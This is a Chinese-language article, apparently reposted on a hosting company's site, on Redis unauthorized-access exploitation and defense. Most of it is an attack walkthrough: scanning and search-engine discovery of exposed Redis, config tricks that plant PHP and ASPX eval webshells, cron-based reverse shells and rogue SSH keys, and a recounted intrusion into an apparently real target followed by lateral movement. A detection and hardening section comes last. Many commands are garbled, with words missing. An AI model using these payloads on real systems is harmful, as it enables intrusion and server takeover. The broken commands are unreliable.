如何理解Redis漏洞利用與防御

本篇文章給大家分享的是有關(guān)如何理解redis漏洞利用與防御,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話(huà)不多說(shuō),跟著小編一起來(lái)看看吧。

成都地區(qū)優(yōu)秀IDC服務(wù)器托管提供商(創(chuàng)新互聯(lián)).為客戶(hù)提供專(zhuān)業(yè)的內(nèi)江機(jī)房主機(jī)托管,四川各地服務(wù)器托管,內(nèi)江機(jī)房主機(jī)托管、多線(xiàn)服務(wù)器托管.托管咨詢(xún)專(zhuān)線(xiàn):13518219792

Redis漏洞利用與防御

前言

Redis在大公司被大量應(yīng)用,通過(guò)筆者的研究發(fā)現(xiàn),目前在互聯(lián)網(wǎng)上已經(jīng)出現(xiàn)Redis未經(jīng)授權(quán)病毒似自動(dòng)攻擊,攻擊成功后會(huì)對(duì)內(nèi)網(wǎng)進(jìn)行掃描、控制、感染以及用來(lái)進(jìn)行挖礦、勒索等惡意行為,早期網(wǎng)上曾經(jīng)分析過(guò)一篇文章“通過(guò)redis感染linux版本勒索病毒的服務(wù)器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么應(yīng)當(dāng)給予重視,通過(guò)實(shí)際研究,當(dāng)在一定條件下,攻擊者可以獲取webshell,甚至root權(quán)限。

Redis簡(jiǎn)介及搭建實(shí)驗(yàn)環(huán)境

簡(jiǎn)介

Remote Dictionary Server(Redis) 是一個(gè)由Salvatore Sanfilippo寫(xiě)的key-value存儲(chǔ)系統(tǒng)。Redis是一個(gè)開(kāi)源的使用ANSI C語(yǔ)言編寫(xiě)、遵守BSD協(xié)議、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫(kù),并提供多種語(yǔ)言的API。它通常被稱(chēng)為數(shù)據(jù)結(jié)構(gòu)服務(wù)器,因?yàn)橹担╲alue)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等類(lèi)型。從2010年3月15日起,Redis的開(kāi)發(fā)工作由VMware主持。從2013年5月開(kāi)始,Redis的開(kāi)發(fā)由Pivotal贊助。目前最新穩(wěn)定版本為4.0.8。

Redis默認(rèn)端口

Redis默認(rèn)配置端口為6379,sentinel.conf配置器端口為26379

官方站點(diǎn)

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

安裝 redis

 http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
 redis-4.0.8

最新版本前期漏洞已經(jīng)修復(fù),測(cè)試時(shí)建議安裝3.2.11版本。

修改配置文件 redis.conf

 redis.conf ./src/redis.conf
bind .0.0.1  前面加上
protected-mode 設(shè)為 no

啟動(dòng) redis-server
./src/redis-server redis.conf

最新版安裝成功后,如圖1所示。默認(rèn)的配置是使用6379端口,沒(méi)有密碼。這時(shí)候會(huì)導(dǎo)致未授權(quán)訪問(wèn)然后使用redis權(quán)限寫(xiě)文件。

如何理解Redis漏洞利用與防御

<center>圖1 安裝配置 redis</center>

連接Redis服務(wù)器

交互式方式

redis-cli -h {host} -p {port} 方式連接,然后所有的操作都是在交互的方式實(shí)現(xiàn),不需要再執(zhí)行redis-cli了,例如命令:

redis-cli  .0.0.1-p 

加-a參數(shù)表示帶密碼的訪問(wèn)
命令方式

redis-cli -h {host} -p {port} {command} 直接得到命令的返回結(jié)果.

常見(jiàn)命令

命令描述
info查看信息
flushall刪除所有數(shù)據(jù)庫(kù)內(nèi)容
flushdb刷新數(shù)據(jù)庫(kù)
KEYS *查看所有鍵,使用 select num 可以查看鍵值數(shù)據(jù)
set test "who am i"設(shè)置變量
config set dir dirpath設(shè)置路徑等配置
save保存
get 變量查看變量名稱(chēng)

更多命令可以參考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

相關(guān)漏洞

因配置不當(dāng)可以未經(jīng)授權(quán)訪問(wèn),攻擊者無(wú)需認(rèn)證就可以訪問(wèn)到內(nèi)部數(shù)據(jù),其漏洞可導(dǎo)致敏感信息泄露(Redis服務(wù)器存儲(chǔ)一些有趣的session、cookie或商業(yè)數(shù)據(jù)可以通過(guò)get枚舉鍵值),也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù),攻擊者還可通過(guò)EVAL執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤(pán)寫(xiě)入后門(mén)文件。如果Redis以root身份運(yùn)行,可以給root賬戶(hù)寫(xiě)入SSH公鑰文件,直接免密碼登錄服務(wù)器,其相關(guān)漏洞信息如下:

Redis 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在緩沖區(qū)溢出漏洞,可導(dǎo)致任意代碼執(zhí)行。Redis數(shù)據(jù)結(jié)構(gòu)存儲(chǔ)的CONFIG SET命令中client-output-buffer-limit選項(xiàng)處理存在越界寫(xiě)漏洞。構(gòu)造的CONFIG SET命令可導(dǎo)致越界寫(xiě),代碼執(zhí)行。

CVE-2015-8080

Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函數(shù)整數(shù)溢出,允許上下文相關(guān)的攻擊者許可運(yùn)行Lua代碼(內(nèi)存損壞和應(yīng)用程序崩潰)或可能繞過(guò)沙盒限制意圖通過(guò)大量,觸發(fā)基于棧的緩沖區(qū)溢出。

CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。遠(yuǎn)程攻擊者可執(zhí)行eval命令利用該漏洞執(zhí)行任意Lua字節(jié)碼

CVE-2013-7458

讀取“.rediscli_history”配置文件信息

Redis攻擊思路

內(nèi)網(wǎng)端口掃描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

通過(guò)文件包含讀取其配置文件

Redis配置文件中一般會(huì)設(shè)置明文密碼,在進(jìn)行滲透時(shí)也可以通過(guò)webshell查看其配置文件,Redis往往不只一臺(tái)計(jì)算機(jī),可以利用其來(lái)進(jìn)行內(nèi)網(wǎng)滲透,或者擴(kuò)展權(quán)限滲透。

使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令為:

 ./redis-sha-crack.js  wordlist.txt  shalist.txt .0.0.1 host2.example.com:5555

需要安裝node:

 clone https://github.com/nodejs/node.git 
   
 
./configure

msf下利用模塊

auxiliary/scanner/redis/file_upload    normal     Redis File Upload
auxiliary/scanner/redis/redis_login    normal     Redis Login Utility
auxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

Redis漏洞利用

獲取webshell

當(dāng)redis權(quán)限不高時(shí),并且服務(wù)器開(kāi)著web服務(wù),在redis有web目錄寫(xiě)權(quán)限時(shí),可以嘗試往web路徑寫(xiě)webshell,前提是知道物理路徑,精簡(jiǎn)命令如下:

config  dir E:/www/font
config  dbfilename redis2.aspx
 a 
save

反彈shell

(1)連接Redis服務(wù)器

redis-cli –h 192.168.106.135 –p 6379

(2)在192.168.106.133上執(zhí)行

nc –vlp 7999

(3)執(zhí)行以下命令

 x 
config  dir /var/spool/cron/
ubantu文件為:/var/spool/cron/crontabs/
config  dir /var/spool/cron/crontabs/
config  dbfilename root
save

免密碼登錄ssh

ssh-keygen  rsa
config  dir /root/.ssh/
config  dbfilename authorized_keys
 x 
save

執(zhí)行效果如圖2所示:

如何理解Redis漏洞利用與防御

<center>圖2Redis漏洞SSH免密碼登錄</center>

使用漏洞搜索引擎搜索

(1)對(duì)“port: 6379”進(jìn)行搜索

https://www.zoomeye.org/searchResult?q=port:6379

(2)除去顯示“-NOAUTH Authentication required.”的結(jié)果,顯示這個(gè)信息表示需要進(jìn)行認(rèn)證,也即需要密碼才能訪問(wèn)。

(3)https://fofa.so/

關(guān)鍵字檢索:port="6379" && protocol==redis && country=CN

Redis賬號(hào)獲取webshell實(shí)戰(zhàn)

1.掃描某目標(biāo)服務(wù)器端口信息

通過(guò)nmap對(duì)某目標(biāo)服務(wù)器進(jìn)行全端口掃描,發(fā)現(xiàn)該目標(biāo)開(kāi)放Redis的端口為3357,默認(rèn)端口為6379端口,再次通過(guò)iis put scaner軟件進(jìn)行同網(wǎng)段服務(wù)器該端口掃描,如圖3所示,獲取兩臺(tái)開(kāi)放該端口的服務(wù)器。


如何理解Redis漏洞利用與防御

<center>圖3掃描同網(wǎng)段開(kāi)放該端口的服務(wù)器</center>

2.使用telnet登錄服務(wù)器

使用命令“telnet ip port”命令登錄,例如 telnet 1**.**.**.76 3357,登錄后,輸入auth和密碼進(jìn)行認(rèn)證。

3.查看并保存當(dāng)前的配置信息。

通過(guò)“config get命令”查看dir和dbfilename的信息,并復(fù)制下來(lái)留待后續(xù)恢復(fù)使用。

config get dir
config get dbfilename

4.配置并寫(xiě)入webshell

(1)設(shè)置路徑

config set dir E:/www/font

(2)設(shè)置數(shù)據(jù)庫(kù)名稱(chēng)

將dbfilename對(duì)名稱(chēng)設(shè)置為支持腳本類(lèi)型的文件,例如網(wǎng)站支持php,則設(shè)置file.php即可,本例中為aspx,所以設(shè)置redis.aspx。

config set dbfilename redis.aspx

(3)設(shè)置webshell的內(nèi)容

根據(jù)實(shí)際情況來(lái)設(shè)置webshell的內(nèi)容,webshell僅僅為一個(gè)變量,可以是a等其他任意字符,下面為一些參考示例。

set webshell "<?php phpinfo(); ?>" 
 //php查看信息
set webshell "<?php @eval($_POST['chopper']);?> " 
 //phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意雙引號(hào)使用\"

(4)保存寫(xiě)入的內(nèi)容

save

(5)查看webshell的內(nèi)容

get webshell

完整過(guò)程執(zhí)行命令如圖4所示,每一次命令顯示“+OK”表示配置成功。

如何理解Redis漏洞利用與防御

<center>圖4寫(xiě)入webshell</center>

  1. 測(cè)試webshell是否正常

在瀏覽器中輸入對(duì)應(yīng)寫(xiě)入文件的名字,如圖5所示進(jìn)行訪問(wèn),出現(xiàn)類(lèi)似:

“REDIS0006?webshell'a@H攙???”則表明正確獲取webshell。

如何理解Redis漏洞利用與防御

<center>圖5測(cè)試webshell是否正常</center>

6.獲取webshell

如圖6所示,使用中國(guó)菜刀后門(mén)管理連接工具,成功獲取該網(wǎng)站的webshell。

如何理解Redis漏洞利用與防御

<center>圖6獲取webshell</center>

7.恢復(fù)原始設(shè)置

(1)恢復(fù)dir

config set dir dirname

(2)恢復(fù)dbfilename

config set dbfilename dbfilename

(3)刪除webshell

del webshell

(4)刷新數(shù)據(jù)庫(kù)

flushdb

8.完整命令總結(jié)

 **.**.**.31 
auth 
config  dir
config  dbfilename
config  dir E:/www/
config  dbfilename redis2.aspx
 a 
save
 a

9.查看redis配置conf文件

通過(guò)webshell,在其對(duì)應(yīng)目錄中發(fā)現(xiàn)還存在其它地址的redis,通過(guò)相同方法可以再次進(jìn)行滲透,如圖7所示,可以看到路徑、端口、密碼等信息。

如何理解Redis漏洞利用與防御

<center>圖7查看redis其配置文件</center>

Redis入侵檢測(cè)和安全防范

入侵檢測(cè)

檢測(cè)key

通過(guò)本地登錄,通過(guò)“keys *”命令查看,如果有入侵則其中會(huì)有很多的值,如圖8所示,在keys *執(zhí)行成功后,可以看到有trojan1和trojan2命令,執(zhí)行g(shù)et trojan1即可進(jìn)行查看。

如何理解Redis漏洞利用與防御

<center>圖8檢查keys</center>

linux下需要檢查authorized_keys

Redis內(nèi)建了名為crackit的key,也可以是其它值,同時(shí)Redis的conf文件中dir參數(shù)指向了/root/.ssh, /root/.ssh/authorized_keys 被覆蓋或者包含Redis相關(guān)的內(nèi)容,查看其值就可以直到是否被入侵過(guò).

對(duì)網(wǎng)站進(jìn)行webshell掃描和分析

發(fā)現(xiàn)利用Redis賬號(hào)漏洞的,則在shell中會(huì)村在Redis字樣。

對(duì)服務(wù)器進(jìn)行后門(mén)清查和處理

修復(fù)辦法

(1)禁止公網(wǎng)開(kāi)放Redis端口,可以在防火墻上禁用6379 Redis的端口

(2)檢查authorized_keys是否非法,如果已經(jīng)被修改,則可以重新生成并恢復(fù),不能使用修改過(guò)的文件。并重啟ssh服務(wù)(service  ssh restart)

(3)增加 Redis 密碼驗(yàn)證

首先停止REDIS服務(wù),打開(kāi)redis.conf配置文件(不同的配置文件,其路徑可能不同)/etc/redis/6379.conf,找到# requirepass foobared去掉前面的#號(hào),然后將foobared改為自己設(shè)定的密碼,重啟啟動(dòng)redis服務(wù)。

(4)修改conf文件禁止全網(wǎng)訪問(wèn),打開(kāi)6379.conf文件,找到bind0.0.0.0前面加上#  (禁止全網(wǎng)訪問(wèn))。

可參考加固修改命令

命令描述
port修改redis使用的默認(rèn)端口
bind設(shè)定redis監(jiān)聽(tīng)的專(zhuān)用IP
requirepass設(shè)定redis連接的密碼
rename-command CONFIG ""禁用CONFIG命令
rename-command info info2重命名info為info2

以上就是如何理解Redis漏洞利用與防御,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

文章題目:如何理解Redis漏洞利用與防御
URL網(wǎng)址:http://bm7419.com/article48/iihdep.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)建站、網(wǎng)頁(yè)設(shè)計(jì)公司、服務(wù)器托管、網(wǎng)站設(shè)計(jì)、商城網(wǎng)站用戶(hù)體驗(yàn)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

綿陽(yáng)服務(wù)器托管